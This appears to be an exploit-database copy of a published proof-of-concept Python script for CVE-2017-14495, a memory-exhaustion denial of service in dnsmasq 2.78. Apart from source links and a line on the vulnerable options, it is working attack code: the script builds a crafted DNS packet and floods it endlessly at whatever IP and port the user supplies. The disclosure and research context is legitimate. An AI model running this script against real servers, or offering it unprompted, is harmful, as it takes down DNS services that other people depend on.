Dnsmasq 2.78 - Lack of free() Denial of Service

'''
Sources:
https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14495.py
https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html

dnsmasq is vulnerable only if one of the following option is specified: --add-mac, --add-cpe-id or --add-subnet.

'''

#!/usr/bin/python
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#  Fermin J. Serna <[email protected]>
#  Felix Wilhelm <[email protected]>
#  Gabriel Campana <[email protected]>
#  Kevin Hamacher <[email protected]>
#  Gynvael Coldwin <[email protected]>
#  Ron Bowes - Xoogler :/

import socket
import sys


def oom():
  data = '''01 0d 08 1b 00 01 00 00  00 00 00 02 00 00 29 04
00 00 29 00 00 00 03 00  00 01 13 00 08 01 13 79
00 00 00 00 00
  '''.replace(' ', '').replace('\n', '').decode('hex')
  data = data.replace('\x00\x01\x13\x00', '\x7f\x00\x00\x01')
  return data

if __name__ == '__main__':
  if len(sys.argv) != 3:
    print 'Usage: %s <ip> <port>' % sys.argv[0]
    sys.exit(0)

  ip = sys.argv[1]
  port = int(sys.argv[2])

  packet = oom()

  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  s.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST, 1)
  while True:
    s.sendto(packet, (ip, port))
    #break
  s.close()